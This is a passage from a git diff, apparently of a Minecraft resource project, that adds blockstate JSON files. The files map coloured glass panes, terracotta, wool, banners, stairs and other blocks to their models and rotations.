newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_glazed_terracotta.json b/src/assets/minecraft/blockstates/light_blue_glazed_terracotta.json new file mode 100644 index 00000000..04c566aa --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/light_blue_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/light_blue_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/light_blue_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/light_blue_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_shulker_box.json b/src/assets/minecraft/blockstates/light_blue_shulker_box.json new file mode 100644 index 00000000..0d8702ce --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_blue_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_stained_glass.json b/src/assets/minecraft/blockstates/light_blue_stained_glass.json new file mode 100644 index 00000000..6570fbc5 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_blue_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_stained_glass_pane.json b/src/assets/minecraft/blockstates/light_blue_stained_glass_pane.json new file mode 100644 index 00000000..b73f855c --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/light_blue_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_terracotta.json b/src/assets/minecraft/blockstates/light_blue_terracotta.json new file mode 100644 index 00000000..923dc3d4 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_blue_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_wall_banner.json b/src/assets/minecraft/blockstates/light_blue_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_blue_wool.json b/src/assets/minecraft/blockstates/light_blue_wool.json new file mode 100644 index 00000000..0f808ef7 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_blue_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_blue_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_banner.json b/src/assets/minecraft/blockstates/light_gray_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_bed.json b/src/assets/minecraft/blockstates/light_gray_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_carpet.json b/src/assets/minecraft/blockstates/light_gray_carpet.json new file mode 100644 index 00000000..2cd65422 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_gray_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_concrete.json b/src/assets/minecraft/blockstates/light_gray_concrete.json new file mode 100644 index 00000000..7fcc7653 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_gray_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_concrete_powder.json b/src/assets/minecraft/blockstates/light_gray_concrete_powder.json new file mode 100644 index 00000000..71d06183 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/light_gray_concrete_powder" + }, + { + "model": "minecraft:block/light_gray_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/light_gray_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/light_gray_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_glazed_terracotta.json b/src/assets/minecraft/blockstates/light_gray_glazed_terracotta.json new file mode 100644 index 00000000..afaa7d77 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/light_gray_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/light_gray_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/light_gray_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/light_gray_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_shulker_box.json b/src/assets/minecraft/blockstates/light_gray_shulker_box.json new file mode 100644 index 00000000..a04db2c9 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_gray_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_stained_glass.json b/src/assets/minecraft/blockstates/light_gray_stained_glass.json new file mode 100644 index 00000000..b14a289d --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_gray_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_stained_glass_pane.json b/src/assets/minecraft/blockstates/light_gray_stained_glass_pane.json new file mode 100644 index 00000000..3c0cb9ab --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/light_gray_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_terracotta.json b/src/assets/minecraft/blockstates/light_gray_terracotta.json new file mode 100644 index 00000000..d1fe850d --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_gray_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_wall_banner.json b/src/assets/minecraft/blockstates/light_gray_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_gray_wool.json b/src/assets/minecraft/blockstates/light_gray_wool.json new file mode 100644 index 00000000..c26d7157 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_gray_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/light_gray_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/light_weighted_pressure_plate.json b/src/assets/minecraft/blockstates/light_weighted_pressure_plate.json new file mode 100644 index 00000000..3495b4c5 --- /dev/null +++ b/src/assets/minecraft/blockstates/light_weighted_pressure_plate.json @@ -0,0 +1,52 @@ +{ + "variants": { + "power=0": { + "model": "minecraft:block/light_weighted_pressure_plate" + }, + "power=1": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=10": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=11": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=12": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=13": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=14": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=15": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=2": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=3": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=4": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=5": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=6": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=7": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=8": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + }, + "power=9": { + "model": "minecraft:block/light_weighted_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lilac.json b/src/assets/minecraft/blockstates/lilac.json new file mode 100644 index 00000000..5a29adb9 --- /dev/null +++ b/src/assets/minecraft/blockstates/lilac.json @@ -0,0 +1,10 @@ +{ + "variants": { + "half=lower": { + "model": "minecraft:block/lilac_bottom" + }, + "half=upper": { + "model": "minecraft:block/lilac_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lily_of_the_valley.json b/src/assets/minecraft/blockstates/lily_of_the_valley.json new file mode 100644 index 00000000..5bc1e938 --- /dev/null +++ b/src/assets/minecraft/blockstates/lily_of_the_valley.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lily_of_the_valley" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lily_pad.json b/src/assets/minecraft/blockstates/lily_pad.json new file mode 100644 index 00000000..41cd85d1 --- /dev/null +++ b/src/assets/minecraft/blockstates/lily_pad.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/lily_pad" + }, + { + "model": "minecraft:block/lily_pad", + "y": 90 + }, + { + "model": "minecraft:block/lily_pad", + "y": 180 + }, + { + "model": "minecraft:block/lily_pad", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_banner.json b/src/assets/minecraft/blockstates/lime_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_bed.json b/src/assets/minecraft/blockstates/lime_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_carpet.json b/src/assets/minecraft/blockstates/lime_carpet.json new file mode 100644 index 00000000..970a8ac1 --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lime_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_concrete.json b/src/assets/minecraft/blockstates/lime_concrete.json new file mode 100644 index 00000000..af1b10b5 --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lime_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_concrete_powder.json b/src/assets/minecraft/blockstates/lime_concrete_powder.json new file mode 100644 index 00000000..4f48ccf1 --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/lime_concrete_powder" + }, + { + "model": "minecraft:block/lime_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/lime_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/lime_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_glazed_terracotta.json b/src/assets/minecraft/blockstates/lime_glazed_terracotta.json new file mode 100644 index 00000000..1bf117b7 --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/lime_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/lime_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/lime_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/lime_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_shulker_box.json b/src/assets/minecraft/blockstates/lime_shulker_box.json new file mode 100644 index 00000000..8f33bac6 --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lime_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_stained_glass.json b/src/assets/minecraft/blockstates/lime_stained_glass.json new file mode 100644 index 00000000..6916921a --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lime_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_stained_glass_pane.json b/src/assets/minecraft/blockstates/lime_stained_glass_pane.json new file mode 100644 index 00000000..efbd641f --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/lime_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_terracotta.json b/src/assets/minecraft/blockstates/lime_terracotta.json new file mode 100644 index 00000000..c194305c --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lime_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_wall_banner.json b/src/assets/minecraft/blockstates/lime_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lime_wool.json b/src/assets/minecraft/blockstates/lime_wool.json new file mode 100644 index 00000000..d1524b5d --- /dev/null +++ b/src/assets/minecraft/blockstates/lime_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lime_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/lodestone.json b/src/assets/minecraft/blockstates/lodestone.json new file mode 100644 index 00000000..639e6848 --- /dev/null +++ b/src/assets/minecraft/blockstates/lodestone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/lodestone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/loom.json b/src/assets/minecraft/blockstates/loom.json new file mode 100644 index 00000000..0a8c5b69 --- /dev/null +++ b/src/assets/minecraft/blockstates/loom.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/loom", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/loom" + }, + "facing=south": { + "model": "minecraft:block/loom", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/loom", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_banner.json b/src/assets/minecraft/blockstates/magenta_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_bed.json b/src/assets/minecraft/blockstates/magenta_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_carpet.json b/src/assets/minecraft/blockstates/magenta_carpet.json new file mode 100644 index 00000000..3427fec7 --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/magenta_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_concrete.json b/src/assets/minecraft/blockstates/magenta_concrete.json new file mode 100644 index 00000000..efa0ead9 --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/magenta_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_concrete_powder.json b/src/assets/minecraft/blockstates/magenta_concrete_powder.json new file mode 100644 index 00000000..37231b4f --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/magenta_concrete_powder" + }, + { + "model": "minecraft:block/magenta_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/magenta_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/magenta_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_glazed_terracotta.json b/src/assets/minecraft/blockstates/magenta_glazed_terracotta.json new file mode 100644 index 00000000..bfb421a1 --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/magenta_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/magenta_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/magenta_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/magenta_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_shulker_box.json b/src/assets/minecraft/blockstates/magenta_shulker_box.json new file mode 100644 index 00000000..e0d737fb --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/magenta_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_stained_glass.json b/src/assets/minecraft/blockstates/magenta_stained_glass.json new file mode 100644 index 00000000..2081e041 --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/magenta_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_stained_glass_pane.json b/src/assets/minecraft/blockstates/magenta_stained_glass_pane.json new file mode 100644 index 00000000..7cbefcf4 --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/magenta_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_terracotta.json b/src/assets/minecraft/blockstates/magenta_terracotta.json new file mode 100644 index 00000000..30135ae5 --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/magenta_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_wall_banner.json b/src/assets/minecraft/blockstates/magenta_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magenta_wool.json b/src/assets/minecraft/blockstates/magenta_wool.json new file mode 100644 index 00000000..d8666f05 --- /dev/null +++ b/src/assets/minecraft/blockstates/magenta_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/magenta_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/magma_block.json b/src/assets/minecraft/blockstates/magma_block.json new file mode 100644 index 00000000..90e6478e --- /dev/null +++ b/src/assets/minecraft/blockstates/magma_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/magma_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/melon.json b/src/assets/minecraft/blockstates/melon.json new file mode 100644 index 00000000..93ce0cd4 --- /dev/null +++ b/src/assets/minecraft/blockstates/melon.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/melon" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/melon_stem.json b/src/assets/minecraft/blockstates/melon_stem.json new file mode 100644 index 00000000..89bcde3f --- /dev/null +++ b/src/assets/minecraft/blockstates/melon_stem.json @@ -0,0 +1,28 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/melon_stem_stage0" + }, + "age=1": { + "model": "minecraft:block/melon_stem_stage1" + }, + "age=2": { + "model": "minecraft:block/melon_stem_stage2" + }, + "age=3": { + "model": "minecraft:block/melon_stem_stage3" + }, + "age=4": { + "model": "minecraft:block/melon_stem_stage4" + }, + "age=5": { + "model": "minecraft:block/melon_stem_stage5" + }, + "age=6": { + "model": "minecraft:block/melon_stem_stage6" + }, + "age=7": { + "model": "minecraft:block/melon_stem_stage7" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_cobblestone.json b/src/assets/minecraft/blockstates/mossy_cobblestone.json new file mode 100644 index 00000000..7467ed1d --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_cobblestone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/mossy_cobblestone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_cobblestone_slab.json b/src/assets/minecraft/blockstates/mossy_cobblestone_slab.json new file mode 100644 index 00000000..51dfa2ca --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_cobblestone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/mossy_cobblestone_slab" + }, + "type=double": { + "model": "minecraft:block/mossy_cobblestone" + }, + "type=top": { + "model": "minecraft:block/mossy_cobblestone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_cobblestone_stairs.json b/src/assets/minecraft/blockstates/mossy_cobblestone_stairs.json new file mode 100644 index 00000000..9ec49f49 --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_cobblestone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": 